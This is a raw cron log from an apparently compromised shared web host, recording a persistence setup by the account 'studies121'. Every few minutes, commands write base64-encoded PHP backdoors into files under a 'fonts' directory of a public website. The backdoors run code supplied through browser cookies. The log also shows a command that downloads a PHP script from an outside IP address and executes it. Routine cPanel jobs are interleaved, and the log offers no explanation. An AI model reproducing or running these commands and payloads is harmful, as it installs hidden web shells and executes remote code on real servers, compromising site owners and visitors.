Sep  7 14:16:02 ip-184-168-122-23 CROND[9673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:16:02 ip-184-168-122-23 CROND[9677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:16:02 ip-184-168-122-23 CROND[9674]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 14:16:02 ip-184-168-122-23 CROND[9675]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:16:02 ip-184-168-122-23 CROND[9676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:17:01 ip-184-168-122-23 CROND[9766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:17:01 ip-184-168-122-23 CROND[9765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:17:01 ip-184-168-122-23 CROND[9767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:17:01 ip-184-168-122-23 CROND[9768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:18:01 ip-184-168-122-23 CROND[10058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:18:01 ip-184-168-122-23 CROND[10056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:18:01 ip-184-168-122-23 CROND[10059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:18:01 ip-184-168-122-23 CROND[10057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:18:02 ip-184-168-122-23 CROND[10060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:19:01 ip-184-168-122-23 CROND[10156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:19:01 ip-184-168-122-23 CROND[10158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:19:01 ip-184-168-122-23 CROND[10159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:19:01 ip-184-168-122-23 CROND[10160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:20:01 ip-184-168-122-23 CROND[10281]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 14:20:01 ip-184-168-122-23 CROND[10283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:20:01 ip-184-168-122-23 CROND[10285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:20:01 ip-184-168-122-23 CROND[10287]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 14:20:01 ip-184-168-122-23 CROND[10288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:20:01 ip-184-168-122-23 CROND[10284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:20:01 ip-184-168-122-23 CROND[10286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:20:01 ip-184-168-122-23 CROND[10282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:20:01 ip-184-168-122-23 CROND[10289]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:21:01 ip-184-168-122-23 CROND[10410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:21:01 ip-184-168-122-23 CROND[10411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:21:01 ip-184-168-122-23 CROND[10413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:21:01 ip-184-168-122-23 CROND[10412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:22:01 ip-184-168-122-23 CROND[10491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:22:01 ip-184-168-122-23 CROND[10493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:22:01 ip-184-168-122-23 CROND[10494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:22:01 ip-184-168-122-23 CROND[10496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:22:01 ip-184-168-122-23 CROND[10495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:23:01 ip-184-168-122-23 CROND[10593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:23:01 ip-184-168-122-23 CROND[10595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:23:01 ip-184-168-122-23 CROND[10596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:23:01 ip-184-168-122-23 CROND[10597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:24:02 ip-184-168-122-23 CROND[10755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:24:02 ip-184-168-122-23 CROND[10757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:24:02 ip-184-168-122-23 CROND[10760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:24:02 ip-184-168-122-23 CROND[10758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:24:02 ip-184-168-122-23 CROND[10759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:25:01 ip-184-168-122-23 CROND[10847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:25:01 ip-184-168-122-23 CROND[10853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:25:01 ip-184-168-122-23 CROND[10851]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 14:25:01 ip-184-168-122-23 CROND[10850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:25:01 ip-184-168-122-23 CROND[10854]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:25:01 ip-184-168-122-23 CROND[10852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:25:01 ip-184-168-122-23 CROND[10849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:26:01 ip-184-168-122-23 CROND[10943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:26:01 ip-184-168-122-23 CROND[10945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:26:01 ip-184-168-122-23 CROND[10944]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  7 14:26:01 ip-184-168-122-23 CROND[10946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 14:26:01 ip-184-168-122-23 CROND[10947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:26:01 ip-184-168-122-23 CROND[10948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  7 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  7 14:27:01 ip-184-168-122-23 CROND[11118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:27:01 ip-184-168-122-23 CROND[11121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:27:01 ip-184-168-122-23 CROND[11119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 14:27:01 ip-184-168-122-23 CROND[11124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:28:01 ip-184-168-122-23 CROND[11203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 14:28:01 ip-184-168-122-23 CROND[11205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
